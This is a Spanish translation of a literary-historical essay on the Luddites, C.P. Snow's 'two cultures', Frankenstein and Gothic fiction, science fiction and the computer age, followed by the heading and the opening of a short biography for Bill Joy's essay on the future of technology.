a	vivir	inmersos	en	flujos	de	datos	más	vastos	que	cualquier	otra	cosa	que	el	mundo
haya	 visto.	 La	 desmitificación	 es	 la	 orden	 de	 nuestro	 día,	 todos	 los	 gatos	 están
saltando	 de	 todos	 los	 bolsos	 e	 incluso	 empiezan	 a	 mezclarse.	 Inmediatamente
sospechamos	 inseguridad	 en	 el	 ego	 de	 personas	 que	 todavía	 pueden	 tratar	 de
esconderse	detrás	de	la	jerga	de	una	especialidad	o	de	aspirar	a	una	base	de	datos	que
siempre	esté	«más	allá»	del	alcance	de	un	profano.	Cualquiera	que	en	estos	días	tenga
lo	necesario	(tiempo,	primario	completo	y	una	suscripción	paga),	puede	reunirse	con
casi	cualquier	porción	de	conocimiento	especializado	que	él	o	ella	necesite.	Así	que,
llegados	a	este	punto,	la	disputa	ente	las	dos	culturas	no	se	puede	sostener	más.	Como
se	verá	en	una	visita	a	cualquier	biblioteca	o	puesto	de	revistas	de	la	zona,	ahora	hay
tantas	más	 de	 dos	 culturas,	 que	 el	 problema	 se	 ha	 vuelto,	 en	 realidad,	 cómo	hallar
tiempo	para	leer	cualquier	cosa	fuera	de	la	especialidad	de	uno.
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Lo	que	persiste,	después	de	un	largo	cuarto	de	siglo,	es	el	factor	humano.	Con	su
pericia	de	novelista,	al	fin	y	al	cabo,	C.P.	Snow	buscó	identificar	no	sólo	dos	tipos	de
educación	 sino	 también	 dos	 tipos	 de	 personalidad.	 Ecos	 fragmentarios	 de	 viejas
discusiones,	de	ofensas	no	olvidadas	recibidas	a	lo	largo	de	charlas	académicas	que
se	 remontan	 en	 el	 tiempo,	 pueden	 haber	 ayudado	 a	 conformar	 el	 subtexto	 de	 la
inmoderada,	 y	 por	 eso	 festejada,	 afirmación	 de	 Snow,	 «Dejando	 de	 lado	 la	 cultura
científica,	 el	 resto	 de	 los	 intelectuales	 nunca	 intentaron,	 quisieron,	 ni	 lograron
entender	 a	 la	 Revolución	 Industrial».	 Estos	 «intelectuales»,	 en	 su	 mayoría
«literarios»,	eran,	para	Lord	Snow,	«ludditas	naturales».

Salvo,	quizás,	el	Pitufo	Filósofo,	es	difícil	imaginarse	a	alguien	en	estos	días	que
quiera	 que	 lo	 llamen	 intelectual	 literario,	 aunque	 no	 suena	 tan	mal	 si	 se	 amplía	 el
término	 a,	 digamos,	 «gente	 que	 lee	 y	 piensa».	Que	 lo	 llamen	 luddita	 es	 otro	 tema.
Trae	 consigo	 preguntas,	 como	 ser,	 ¿hay	 algo	 en	 la	 lectura	 y	 el	 pensamiento	 que
llevaría	 o	 predispondría	 a	 una	 persona	 a	 convertirse	 en	 luddita?	 ¿Está	 bien	 ser	 un
luddita?	Y	llegados	a	este	punto,	en	realidad,	¿qué	es	un	luddita?

HISTÓRICAMENTE,	 los	 ludditas	 florecieron	 en	 Inglaterra	 desde	 alrededor	 de
1811	a	1816.	Eran	bandas	de	hombres,	organizados,	enmascarados,	anónimos,	cuyo
propósito	 era	 destruir	 maquinaria	 usada	 sobre	 todo	 en	 la	 industria	 textil.	 Juraban
lealtad	no	a	un	Rey	británico,	sino	a	su	propio	Rey	Ludd.	No	está	claro	si	se	llamaban
a	sí	mismos	ludditas,	aunque	así	los	llamaban	tanto	sus	amigos	como	sus	enemigos.
El	uso	de	la	palabra	por	C.P.	Snow	obviamente	buscaba	polemizar,	queriendo	dar	a
entender	un	miedo	y	odio	irracionales	a	la	ciencia	y	la	tecnología.	Los	ludditas	habían
llegado,	 de	 esta	 manera,	 a	 ser	 imaginados	 como	 los	 contrarevolucionarios	 de	 esa
«Revolución	 Industrial»	 que	 sus	 sucesores	 contemporáneos	 «nunca	 intentaron,
quisieron,	ni	lograron	entender».

Pero	 la	 Revolución	 Industrial	 no	 fue,	 como	 las	 Revoluciones	 Americana	 y
Francesa	 de	más	 o	menos	 el	mismo	 período,	 una	 lucha	 violenta	 con	 un	 principio,
mitad	 de	 camino	 y	 final.	 Fue	 más	 suave,	 menos	 terminante,	 más	 parecida	 a	 un
período	acelerado	en	una	larga	evolución.	El	nombre	fue	popularizado	hace	cien	años
por	 el	 historiador	 Arnold	 Toynbee,	 y	 ha	 tenido	 su	 parte	 de	 atención	 revisionista
últimamente,	 en	 la	 edición	 de	 julio	 de	 1984,	 de	 Scientific	American.	 En	 ella,	 en
«Medieval	 Roots	 of	 the	 Industrial	 Revolution»,	 Terry	 S.	 Reynolds	 sugiere	 que	 el
papel	 inicial	 del	 motor	 a	 vapor	 (1765)	 puede	 haberse	 exagerado.	 Lejos	 de	 ser
revolucionaria,	 mucha	 de	 la	 maquinaria	 que	 el	 vapor	 había	 llegado	 para	 poner	 en
movimiento,	 había	 estado	 lista	 desde	mucho	 antes,	 siendo	 impulsada	de	hecho	 con
agua	y	molinos	desde	la	Edad	Media.	No	obstante,	la	idea	de	una	«revolución»	tecno-
social,	en	la	que	salió	triunfadora	la	misma	gente	que	en	Francia	y	América,	demostró
ser	útil	para	muchos	a	lo	largo	de	los	años,	y	no	menos	útil	para	los	que,	como	C.P.
Snow,	han	creído	descubrir	con	«ludditas»	un	modo	de	designar	a	aquellos	con	 los
que	desacuerdan,	políticamente	reaccionarios	y	anticapitalistas	al	mismo	tiempo.

Pero	 el	Oxford	English	Dictionary	 tiene	 una	 interesante	 historia	 que	 contar.	 En
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1779,	en	un	pueblito	de	algún	lugar	de	Leicestershire,	un	Ned	Ludd	se	metió	en	una
casa	 y	 «en	 un	 demente	 ataque	 de	 furia»	 destruyó	 dos	 máquinas	 usadas	 para	 tejer
medias	de	 lana.	La	noticia	 se	 corrió.	Pronto,	 cada	vez	que	 se	hallaba	 saboteado	un
marco	para	medias	—esto	venía	pasando,	dice	la	Enciclopedia	Británica,	desde	1710
aproximadamente—	la	gente	respondía	con	la	frase	(ya	popular),	«Por	acá	debe	haber
pasado	Ludd».	Para	cuando	su	nombre	fue	adoptado	por	los	saboteadores	de	telares
de	1812,	el	Ned	Ludd	histórico	se	había	asimilado	en	el	de	alguna	manera	sarcástico
apodo	 de	 «Rey	 (o	Capitán)	Ludd»,	 y	 era	 ahora	 todo	misterio,	 rumores	 y	 diversión
clandestina,	 rondando	 los	distritos	de	 tejedores	de	 Inglaterra,	armado	nada	más	que
con	un	gracioso	palo	—cada	vez	que	se	topa	con	el	marco	de	un	telar	se	pone	loco	y
no	para	hasta	romperlo.

Pero	importa	mucho	recordar	que	incluso	el	blanco	del	ataque	original	de	1779,	al
igual	que	muchas	de	las	máquinas	de	la	Revolución	Industrial,	no	era	novedoso	como
pieza	 de	 tecnología.	 El	 telar	 para	 medias	 había	 estado	 dando	 vueltas	 desde	 1589,
cuando,	según	el	folklore,	fue	inventado	por	el	reverendo	William	Lee,	llevado	a	ello
por	 la	 locura.	 Parece	 que	 Lee	 estaba	 enamorado	 de	 una	 joven	 que	 estaba	 más
interesada	en	su	tejido	que	en	él.	Él	iba	a	su	casa,	y	«Lo	siento,	Rev,	tengo	que	tejer»
«¡¿Qué?!	¿De	nuevo?».	Después	de	un	tiempo,	incapaz	de	tolerar	un	rechazo	así,	Lee,
a	 diferencia	 de	 Ned	 Ludd,	 sin	 ningún	 ataque	 de	 furia	 alocada,	 sino	 lógica	 y
serenamente	—imaginemos—,	se	dedicó	a	inventar	una	máquina	que	dejara	obsoleto
el	 tejido	manual	 de	medias.	 Y	 lo	 logró.	 De	 acuerdo	 a	 la	 enciclopedia,	 el	 telar	 del
clérigo	 enamorado,	 «era	 tan	 perfecto	 en	 su	 concepción	 que	 siguió	 siendo	 el	 único
medio	mecánico	para	tejer,	por	cientos	de	años».

Ahora,	dada	esa	brecha	de	tiempo,	no	es	nada	fácil	pensar	a	Ned	Ludd	como	un
loco	tecno-fóbico.	No	hay	duda:	lo	que	lo	hacía	admirable	y	legendario	era	el	vigor	y
la	 decisión	 con	 que	 aparecía.	 Pero	 las	 palabras	 «demente	 ataque	 de	 furia»	 son	 de
segunda	o	tercera	mano,	por	lo	menos	68	años	después	de	los	hechos.	Y	el	enojo	de
Ned	Ludd	no	se	dirigía	a	las	máquinas,	no	exactamente.	Me	gusta	más	pensarlo	como
el	enojo	controlado,	tipo	artes	marciales,	del	Molesto	decidido	a	todo.

Cuenta	con	una	larga	historia	folklórica	esta	figura,	el	Molesto.	Suele	ser	hombre,
y	pese	a	ganarse	a	veces	la	intrigante	tolerancia	de	las	mujeres,	lo	admiran	de	manera
casi	 universal	 los	hombres	debido	 a	dos	virtudes	básicas:	 es	Malo	y	Grande.	Malo
pero	 no	moralmente	maligno,	 no	 necesariamente,	más	 bien	 capaz	 de	 hacer	 daño	 a
gran	 escala.	 Lo	 que	 importa	 acá	 es	 la	 amplificación	 de	 la	 escala,	 el	 efecto
multiplicador.

Las	 máquinas	 de	 tejer	 que	 provocaron	 los	 primeros	 disturbios	 ludditas	 habían
estado	dejando	sin	trabajo	a	la	gente	por	más	de	dos	siglos.	Todos	veían	cómo	pasaba
esto	—se	volvió	parte	de	la	vida	diaria—.	También	veían	a	las	máquinas	convertirse
más	y	más	en	propiedad	de	personas	que	no	 trabajaban,	sólo	poseían	y	empleaban.
No	se	necesitó	a	ningún	filósofo	alemán,	en	ese	momento	o	después,	para	señalar	lo
que	esto	hacía,	había	estado	haciendo,	a	los	salarios	y	a	los	trabajos.	El	sentimiento
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general	sobre	las	máquinas	nunca	hubiera	podido	ser	mero	horror	irracional,	sino	algo
más	 complejo:	 el	 amor/odio	 que	 se	 genera	 entre	 humanos	 y	 maquinaria	 —
especialmente	 cuando	 ha	 estado	 dando	 vueltas	 por	 un	 tiempo—,	 sin	mencionar	 un
serio	resentimiento	contra	por	lo	menos	dos	efectos	multiplicadores	que	fueron	vistos
como	 injustos	 y	 peligrosos.	Uno	 era	 la	 concentración	 de	 capital	 que	 cada	máquina
representaba,	y	el	otro,	la	capacidad	de	cada	máquina	de	dejar	afuera	del	trabajo	a	un
cierto	número	de	humanos	—de	ser	más	«valiosas»	que	muchas	almas	humanas—.
Lo	que	le	dio	al	Rey	Ludd	ese	especial	Mal	carácter	suyo,	que	lo	llevó	de	héroe	local
a	enemigo	público	nacional,	fue	que	él	embistió	contra	estos	oponentes	amplificados,
multiplicados,	más	que	humanos,	y	prevaleció.	Cuando	los	tiempos	son	duros,	y	nos
sentimos	a	merced	de	fuerzas	muchas	veces	más	poderosas,	¿acaso	no	nos	volvemos
en	 busca	 de	 alguna	 compensación,	 aunque	 sea	 en	 la	 imaginación,	 en	 los	 deseos,	 y
miramos	 hacia	 el	 Molesto	 —el	 genio,	 el	 golem,	 el	 gigante,	 el	 superhéroe—	 que
resistirá	 lo	 que	 de	 otra	manera	 nos	 abrumaría?	 Por	 supuesto,	 el	 destrozamiento	 de
telares	 reales	 o	 seculares,	 seguía	 a	 cargo	 de	 hombres	 comunes,	 sindicalistas
avanzados	 de	 la	 época,	 usando	 la	 noche,	 y	 su	 propia	 solidaridad	 y	 disciplina,	 para
lograr	sus	efectos	multiplicadores.

Era	lucha	de	clases	a	la	vista	de	todo	el	mundo.	El	movimiento	tenía	sus	aliados
parlamentarios,	entre	ellos	Lord	Byron,	cuyo	discurso	inaugural	en	el	Palacio	de	los
Lores	en	1812	compasivamente	se	opuso	al	proyecto	de	ley	que	proponía,	entre	otras
medidas	de	 represión,	 hacer	 pasible	de	pena	de	muerte	 el	 sabotaje	de	máquinas	de
tejer	medias.	«¿No	simpatizas	con	los	ludditas»?	le	escribió	desde	Venecia	a	Thomas
Moore.	«¡Por	el	Señor,	que	si	hay	una	batalla	estaré	entre	ustedes!	¿Cómo	les	va	a	los
tejedores	 —los	 destrozadores	 de	 telares—	 los	 Luteranos	 de	 la	 política	 —los
reformadores?».	Incluía	una	«amable	canción»	que	mostró	ser	un	himno	luddita	tan
encendido	 que	 no	 fue	 publicado	 hasta	 después	 de	 muerto	 el	 poeta.	 La	 carta	 tiene
fecha	 de	 diciembre	 de	 1816:	 Byron	 había	 pasado	 el	 verano	 anterior	 en	 Suiza,
atrapado	por	 un	 tiempo	 en	 la	Villa	Diodati	 con	 los	Shelley,	mirando	 la	 lluvia	 caer,
mientras	 se	 contaban	 entre	 sí	 historias	 de	 fantasmas.	 Para	 ese	 diciembre	—así	 fue
como	sucedió—,	Mary	Shelley	estaba	trabajando	en	el	Capítulo	Cuatro	de	su	novela
Frankenstein,	o	el	Moderno	Prometeo.

Si	 hubiera	 un	 género	 tal	 como	 la	 novela	 luddita,	 ésta,	 que	 advierte	 de	 lo	 que
puede	pasar	cuando	la	tecnología,	y	aquéllos	que	la	manejan,	se	salen	de	los	carriles,
sería	 la	 primera	 y	 estaría	 entre	 las	 mejores.	 La	 criatura	 de	 Víctor	 Frankenstein,
además,	también	califica	como	un	enorme	Molesto	literario.	«Me	decidí»…,	nos	dice
Víctor,	«a	hacer	a	la	criatura	de	una	estatura	gigante,	o	sea,	digamos,	unos	ocho	pies
de	 altura,	 y	 proporcional	 en	 tamaño»	—lo	 que	 hace	 a	 lo	Grande—.	La	 historia	 de
cómo	llegó	a	ser	tan	Malo	es	el	corazón	de	la	novela,	bien	cobijado	en	su	interior:	la
historia	 es	 narrada	 a	 Víctor	 en	 primera	 persona	 por	 la	 criatura	 misma,	 enmarcada
después	dentro	de	la	narrativa	del	propio	Víctor,	que	se	enmarca	a	su	vez	en	las	cartas
del	explorador	del	Ártico,	Robert	Walton.	Más	allá	de	que	mucha	de	la	vigencia	de
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Frankenstein	se	debe	al	genio	no	reconocido	de	James	Whale,	que	la	tradujo	al	cine,
sigue	 siendo	más	que	una	buena	 lectura,	por	 todos	 los	motivos	por	 los	que	 leemos
novelas,	así	como	por	la	mucho	más	limitada	razón	de	su	valor	luddita:	esto	es,	por	su
intento,	a	través	de	medios	literarios	que	son	nocturnos	y	se	mueven	con	disfraces,	de
negar	a	la	máquina.

Miren,	por	ejemplo,	el	relato	de	Víctor	de	cómo	ensambló	y	dio	vida	a	su	criatura.
Debe	ser,	por	supuesto,	un	poco	vago	acerca	de	los	detalles,	pero	se	nos	habla	de	un
procedimiento	 que	 parece	 incluir	 cirugía,	 electricidad	 (aunque	 nada	 parecido	 a	 las
extravagancias	galvánicas	de	Whale),	química	e,	incluso,	desde	oscuras	referencias	a
Paracelsio	 y	 Albertus	 Magnus,	 la	 todavía	 recientemente	 desacreditada	 forma	 de
magia	conocida	como	alquimia.	Lo	que	está	claro,	sin	embargo,	más	allá	del	 tantas
veces	representado	electro-shock-en-el-cuello,	es	que	ni	el	método	ni	la	criatura	que
resulta	son	mecánicos.

Ésta	 es	 una	 de	 varias	 interesantes	 similitudes	 entre	 Frankenstein	 y	 un	 cuento
anterior	 de	 lo	Malo	 y	Grande,	El	Castillo	 de	Otranto	 (1765),	 de	 Horace	Walpole,
usualmente	 considerada	 como	 la	 primera	 novela	 gótica.	 Por	 algún	 motivo,	 ambos
autores,	 al	 presentar	 sus	 libros	 al	 público,	 emplearon	 voces	 ajenas.	 El	 prefacio	 de
Mary	Shelley	 fue	escrito	por	 su	marido,	Percy,	que	 se	hacía	pasar	por	 ella.	No	 fue
hasta	 15	 años	 después	 que	 Mary	 escribió	 una	 introducción	 a	 Frankenstein	 en	 su
propio	 nombre.	 Walpole,	 por	 otra	 parte,	 le	 inventó	 a	 su	 libro	 toda	 una	 historia
editorial,	diciendo	que	era	 la	 traducción	de	un	texto	medieval	 italiano.	Recién	en	el
prefacio	de	la	segunda	edición	admitió	su	autoría.

Las	novelas	también	tienen	orígenes	nocturnos	asombrosamente	similares:	las	dos
son	resultado	de	episodios	de	sueños	lúcidos.	Mary	Shelley,	aquel	verano	de	historias
de	fantasmas	en	Ginebra,	intentando	dormirse	una	noche,	de	pronto	vio	a	la	criatura
cobrando	vida,	las	imágenes	surgiendo	en	su	mente	«con	una	vivacidad	más	allá	de
los	límites	usuales	del	ensueño».	Walpole	se	había	despertado	de	un	sueño,	«del	cual,
todo	lo	que	podía	recordar	era	que	había	estado	en	un	antiguo	castillo	(…)	y	que	en	la
baranda	superior	de	una	escalera	vi	una	gigantesca	mano	en	una	armadura».

En	 la	 novela	 de	Walpole,	 esta	mano	 resulta	 ser	 la	mano	 de	Alfonso	 el	 Bueno,
anterior	 príncipe	 de	Otranto	 y,	 pese	 a	 su	 epitafio,	 el	Molesto	 residente	 del	 castillo.
Alfonso,	como	la	criatura	de	Frankenstein,	está	armado	por	partes	—casco	de	marta
con	 plumas,	 pie,	 pierna,	 espada,	 todas	 ellas,	 como	 la	 mano,	 bastante
sobredimensionadas—	que	caen	del	cielo	o	se	materializan	simplemente	aquí	y	allá
por	los	terrenos	del	castillo,	inevitables	como	el	lento	regreso	de	lo	reprimido	según
Freud.	Los	agentes	motivadores,	de	nuevo	como	en	Frankenstein,	son	no-mecánicos.
El	ensamble	 final	de	«la	 forma	de	Alfonso,	dilatada	en	una	magnitud	 inmensa»,	 se
logra	a	 través	de	medios	sobrenaturales:	una	maldición	familiar,	y	 la	mediación	del
santo	patrono	de	Otranto.

La	pasión	por	la	ficción	gótica	después	de	El	Castillo	de	Otranto	se	originaba,	yo
sospecho,	en	profundos	y	religiosos	anhelos	de	aquellos	 tempranos	 tiempos	míticos
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que	 habían	 llegado	 a	 conocerse	 como	 la	 Edad	 de	 los	Milagros.	 De	 modos	 más	 y
menos	 literales,	 la	gente	del	siglo	XVIII	creía	que	una	vez	hace	mucho	 tiempo,	 todo
tipo	 de	 cosas	 habían	 sido	 posibles	 y	 que	 ya	 no	 lo	 eran	 más.	 Gigantes,	 dragones,
hechizos.	Las	leyes	de	la	naturaleza	no	se	habían	formulado	tan	estrictamente	por	ese
entonces.	Lo	que	había	sido	una	vez	magia	verdadera	en	funcionamiento	había,	para
el	 tiempo	 de	 la	 Edad	 de	 la	 Razón,	 degenerado	 en	 mera	 maquinaria.	 Los	 oscuros,
satánicos	molinos	de	Blake	representaban	una	antigua	magia	que,	como	Satán,	había
caído	 en	 desgracia.	Mientras	 la	 religión	 era	 secularizada	más	 y	 más	 en	 Deísmo	 y
descreimiento,	 el	 hambre	 permanente	 de	 los	 hombres	 por	 evidencias	 de	Dios	 y	 de
vida	 después	 de	 la	muerte,	 de	 salvación	—resurrección	 corporal,	 de	 ser	 posible—,
seguía	 vivo.	 El	 movimiento	Metodista	 y	 el	 Gran	 Despertar	 Americano[115]	 fueron
sólo	dos	sectores	dentro	de	un	vasto	frente	de	resistencia	a	la	Edad	de	la	Razón,	un
frente	que	 incluía	al	Radicalismo	y	 la	Francmasonería,	así	como	a	 los	 ludditas	y	 la
novela	 Gótica.	 Cada	 uno	 a	 su	 manera	 expresaba	 la	 misma	 profunda	 resistencia	 a
abandonar	 elementos	 de	 fe,	 por	 más	 «irracionales»	 que	 fueran,	 a	 un	 orden	 tecno-
político	emergente	que	podía	o	no	saber	lo	que	estaba	haciendo.	El	«Gótico»	devino
código	 para	 «medieval»,	 y	 éste	 se	 hizo	 código	 para	 «milagroso»,	 a	 través	 de	 Pre-
Rafaelitas[116],	 cartas	de	 tarot	 fin-de-siècle,	 novelas	 del	 espacio	 en	 revistas	 clase-B,
hasta	llegar	a	«Star	Wars»	y	las	historias	contemporáneas	de	espadas	y	hechiceros.

Insistir	 en	 lo	 milagroso	 es	 negarle	 a	 la	 máquina	 al	 menos	 una	 parte	 de	 sus
pretensiones	 sobre	 nosotros,	 afirmar	 el	 deseo	 limitado	 de	 que	 las	 cosas	 vivientes,
terrestres	o	de	otra	especie,	en	ocasiones	puedan	volverse	tan	Malas	y	Grandes	como
para	intervenir	en	hechos	trascendentes.	Según	esta	teoría,	por	ejemplo,	King	Kong	(?
-1933)	 deviene	 un	 clásico	 santo	 luddita.	 El	 diálogo	 final	 de	 la	 película,	 ustedes
recordarán,	dice:	«Bueno,	el	avión	pudo	con	él.	No…	fue	la	Belleza	la	que	mató	a	la
Bestia».	 Donde	 de	 nuevo	 encontramos	 la	 misma	 Disyunción	 Snoviana,	 sólo	 que
diferente,	entre	lo	humano	y	lo	tecnológico.

Pero	 si	 insistimos	 en	 violaciones	 ficcionales	 a	 las	 leyes	 de	 la	 naturaleza	—del
espacio,	del	tiempo,	de	la	termodinámica,	y	la	número	uno,	de	la	mortalidad	en	sí—
entonces	 nos	 arriesgamos	 a	 ser	 juzgados	 por	 el	 establishment	 literario	 como	 Poco
Serios.	 Ser	 serios	 acerca	 de	 estos	 temas	 es	 una	manera	 en	 que	 los	 adultos	 se	 han
definido	tradicionalmente	a	sí	mismos	frente	a	los	seguros	de	sí,	los	inmortales	niños
con	 los	 que	 tienen	 que	 vérselas.	 Recordando	 a	Frankenstein,	 que	 escribió	 cuando
tenía	19,	Mary	Shelley	dijo,	 «Tengo	un	 cariño	 especial	 por	 esa	novela,	 pues	 era	 la
primavera	de	días	 felices,	cuando	 la	muerte	y	 la	pena	no	eran	sino	palabras	que	no
hallaban	eco	verdadero	en	mi	corazón».	La	actitud	Gótica	en	general,	debido	a	que
empleaba	 imágenes	 de	 muerte	 y	 de	 sobrevivientes	 fantasmales	 con	 fines	 no	 más
responsables	 que	 los	 de	 efectos	 especiales	 y	 decorados,	 fue	 juzgada	 de
insuficientemente	seria	y	confinada	a	su	propia	zona	del	pueblo.	No	es	el	único	barrio
de	la	gran	Ciudad	de	la	Literatura	tan,	digamos,	cuidadosamente	demarcado.	En	los
westerns,	la	gente	buena	siempre	gana.	En	las	novelas	románticas,	el	amor	supera	los
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obstáculos.	 En	 los	 policiales,	 sabemos	más	 que	 los	 personajes.	 Nosotros	 decimos,
«Pero	 el	 mundo	 no	 es	 así».	 Estos	 géneros,	 al	 insistir	 en	 lo	 que	 es	 contrario	 a	 los
hechos,	no	llegan	a	ser	suficientemente	Serios,	y	entonces	se	les	pone	la	etiqueta	de
«viajes	escapistas».

Esto	es	especialmente	lamentable	en	el	caso	de	la	ciencia	ficción,	en	la	cual	pudo
verse	 en	 la	 década	 posterior	 a	 Hiroshima	 uno	 de	 los	 florecimientos	 más
impresionantes	de	talento	literario	y,	muchas	veces,	de	genio	de	nuestra	historia.	Fue
tan	 importante	 como	 el	 movimiento	 Beat	 que	 tenía	 lugar	 al	 mismo	 tiempo,
ciertamente	 más	 importante	 que	 la	 ficción	 popular	 que,	 apenas	 con	 algunas
excepciones,	se	había	paralizado	por	el	clima	político	de	la	guerra	fría	y	los	años	de
McCarthy.	Además	de	ser	una	síntesis	casi	 ideal	de	las	Dos	Culturas,	resulta	que	la
ciencia	ficción	también	fue	uno	de	los	principales	refugios,	en	nuestro	tiempo,	para
aquéllos	de	ideas	ludditas.

Para	1945,	el	sistema	fabril	—que,	más	que	ninguna	otra	pieza	de	maquinaria,	fue
el	auténtico	legado	de	la	Revolución	Industrial—	se	había	extendido	hasta	abarcar	el
Proyecto	Manhattan,	 el	 programa	 de	 cohetes	 de	 larga	 distancia	 de	Alemania	 y	 los
campos	 de	 concentración,	 como	 Auschwitz.	 No	 hizo	 falta	 ningún	 don	 especial	 de
adivinación	 para	 ver	 cómo	 estas	 tres	 curvas	 de	 desarrollo	 podrían	 plausiblemente
converger,	 y	 en	 no	 mucho	 tiempo.	 Desde	 Hiroshima,	 hemos	 visto	 a	 las	 armas
nucleares	 multiplicarse	 fuera	 de	 control,	 y	 los	 sistemas	 de	 direccionamiento
adquieren,	con	fines	globales,	alcance	y	precisión	ilimitadas.	La	aceptación	impasible
de	un	holocausto	de	hasta	siete	y	ocho	cifras	en	la	cuenta	de	cuerpos,	se	ha	convertido
—entre	aquellos	que,	en	particular	desde	1980,	han	guiado	nuestras	políticas	militares
—	en	una	hipótesis	natural.

Para	la	gente	que	estaba	escribiendo	ciencia	ficción	en	los	‘50,	nada	de	esto	era
una	sorpresa,	aunque	las	imaginaciones	de	los	ludditas	modernos	todavía	tienen	que
encontrar	alguna	contra-criatura	tan	Grande	y	Mala,	incluso	en	la	más	irresponsable
de	 las	 ficciones,	 que	 se	 le	 pueda	 comparar	 a	 lo	 que	 pasaría	 durante	 una	 guerra
nuclear.	Así,	en	la	ciencia	ficción	de	la	Era	Atómica	y	la	Guerra	Fría,	vemos	tomar
una	 dirección	 diferente	 a	 los	 impulsos	 ludditas	 de	 negar	 la	 máquina.	 El	 ángulo
tecnológico	perdió	énfasis	en	favor	de	preocupaciones	más	humanísticas	—exóticas
evoluciones	 culturales	 y	 escenarios	 sociales,	 paradojas	 y	 juegos	 de	 espacio/tiempo,
salvajes	 preguntas	 filosóficas—,	 la	 mayoría	 compartiendo,	 como	 ha	 discutido	 en
extenso	la	crítica	literaria,	una	definición	de	«humano»	como	particularmente	distinto
de	 «máquina».	 Al	 igual	 que	 sus	 contrapartes	 originales,	 los	 ludditas	 del	 siglo	 XX
miraron	anhelantes	hacia	atrás,	hacia	otra	era	—curiosamente,	a	la	misma	Edad	de	la
Razón	que	había	empujado	a	los	primeros	ludditas	a	la	nostalgia	por	la	Edad	de	los
Milagros.

Pero	ahora	vivimos,	se	nos	dice,	en	la	Era	de	las	Computadoras.	¿Qué	pronósticos
hay	 para	 la	 sensibilidad	 luddita?	 ¿Atraerán	 los	 CPU	 la	 misma	 atención	 hostil	 que
alguna	 vez	 despertaron	 las	 máquinas	 de	 tejer?	 Realmente,	 lo	 dudo.	 Escritores	 de
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todos	los	estilos	van	en	estampida	a	comprar	procesadores	de	texto.	Las	máquinas	ya
se	 han	 vuelto	 tan	 amigables	 que	 incluso	 el	 más	 irreductible	 luddita	 puede	 caer
seducido	 a	bajar	 la	guardia	y	 apretarse	unas	 teclas.	Detrás	de	 esto	parece	haber	un
creciente	 consenso	acerca	de	que	el	 conocimiento	 realmente	es	poder,	que	hay	una
conversión	bastante	directa	entre	dinero	e	información	y	que,	de	alguna	manera,	si	la
logística	se	soluciona,	puede	que	los	milagros	todavía	sean	posibles.	Si	esto	es	así,	los
ludditas	 quizás	 hayan	 llegado	 finalmente	 a	 un	 terreno	 común	 con	 sus	 adversarios
Snovianos,	 la	 sonriente	armada	de	 tecnócratas	que	se	 suponía	 llevaba	«el	 futuro	en
los	huesos».	Quizás	 sólo	sea	una	nueva	 forma	de	 la	 incesante	ambivalencia	 luddita
respecto	a	las	máquinas,	o	puede	ser	que	la	esperanza	de	milagro	más	profunda	de	los
ludditas	haya	venido	a	residir	en	la	habilidad	de	las	computadoras	para	conseguir	la
información	 correcta	 y	 dársela	 a	 aquéllos	 a	 quiénes	 esa	 información	 será	más	 útil.
Con	 los	 adecuados	 programas	 de	 financiamiento	 y	 tiempo,	 con	 las	 computadoras
curaremos	 el	 cáncer,	 nos	 salvaremos	 de	 la	 extinción	 nuclear,	 produciremos	 comida
para	 todos,	 desintoxicaremos	 los	 resultados	 de	 la	 codicia	 industrial	 devenida
psicopatía	—véanse	todas	las	melancólicas	ensoñaciones	de	nuestro	tiempo.

La	 palabra	 «luddita»	 se	 sigue	 usando	 con	 desprecio	 para	 cualquiera	 con	 dudas
acerca	de	la	tecnología,	especialmente	la	de	tipo	nuclear.	Los	ludditas	hoy	ya	no	están
más	 enfrentados	 a	 humanos	 dueños	 de	 fábricas	 y	 a	 máquinas	 vulnerables.	 Como
profetizó	el	renombrado	presidente	y	luddita	involuntario	D.	D.	Eisenhower	al	dejar
su	 puesto,	 hay	 ahora	 un	 permanente,	 poderoso	 sistema	 de	 almirantes,	 generales	 y
directores	 de	 corporaciones,	 frente	 al	 cual	 nosotros,	 pobres	 bastardos	 comunes,
estamos	 completamente	 desclasados,	 aunque	 Ike	 no	 lo	 dijo	 con	 esas	 palabras.	 Se
supone	 que	 debemos	 quedarnos	 tranquilos	 y	 dejar	 que	 las	 cosas	 sigan	 andando,
incluso	aunque,	debido	a	la	revolución	de	la	información,	se	hace	cada	día	más	difícil
engañar	a	cualquiera	por	cualquier	lapso	de	tiempo.	Si	nuestro	mundo	sobrevive,	el
siguiente	 gran	 desafío	 a	 tener	 en	 cuenta	 va	 a	 ser	—lo	 oyeron	 acá,	 en	 primicia—
cuando	 las	 curvas	 de	 investigación	 y	 desarrollo	 en	 inteligencia	 artificial,	 biología
molecular	 y	 robótica	 converjan.	 ¡Ay!	Va	 a	 ser	 increíble	 e	 impredecible,	 y	 hasta	 los
mandos	más	 altos,	 recemos	devotamente,	 van	 a	 llegar	 a	 destiempo.	Ciertamente	 es
algo	 para	 que	 todos	 los	 buenos	 ludditas	 le	 prestemos	 atención	 si,	 Dios	 mediante,
llegamos	a	vivir	tanto.

Mientras,	 como	 norteamericanos,	 podemos	 buscar	 alivio,	 por	 escaso	 y	 frío	 que
sea,	 en	 la	 improvisada	 y	maliciosa	 canción	 de	 Lord	Byron,	 en	 la	 que,	 como	 otros
observadores	de	su	tiempo,	percibió	relaciones	evidentes	entre	los	primeros	ludditas	y
nuestros	propios	orígenes	revolucionarios.	Así	empieza:

Como	los	compañeros	de	la	Libertad	más	allá	del	mar
Compraron	su	libertad,	barata,	con	su	sangre,
Así	haremos	nosotros,	muchachos.	Vamos
A	morir	peleando,	o	a	vivir	libres.
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¡Y	que	caigan	todos	los	reyes	menos	el	Rey	Ludd!
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Por	qué	el	futuro	no	nos	necesita[117]

Bill	Joy

ill	Joy	integró	el	grupo	de	hackers	de	la	Universidad	de	Berkeley.	Allí	se	graduó	a	los	veinte
años	en	1975.	En	ese	período	desarrolló	la	versión	BSD	del	sistema	operativo	UNIX,	una	de

las	 más	 prestigiosas.	 A	 principios	 de	 los	 ‘80	 dejó	 la	 Universidad	 y	 fundó	 la	 empresa	 Sun
Microsystems	 con	 algunos	 compañeros	 en	 la	 cual	 desarrolló	 lenguajes	 de	 programación	 como
JAVA	orientados	a	la	 transmisión	de	datos	en	Internet,	y	de	código	abierto,	fundamentales	en	la
red.	Se	lo	considera	uno	de	los	ingenieros	electrónicos	y	científicos	informáticos	más	importantes
de	la	actualidad.	En	2003	dejó	Sun	Microsystems.

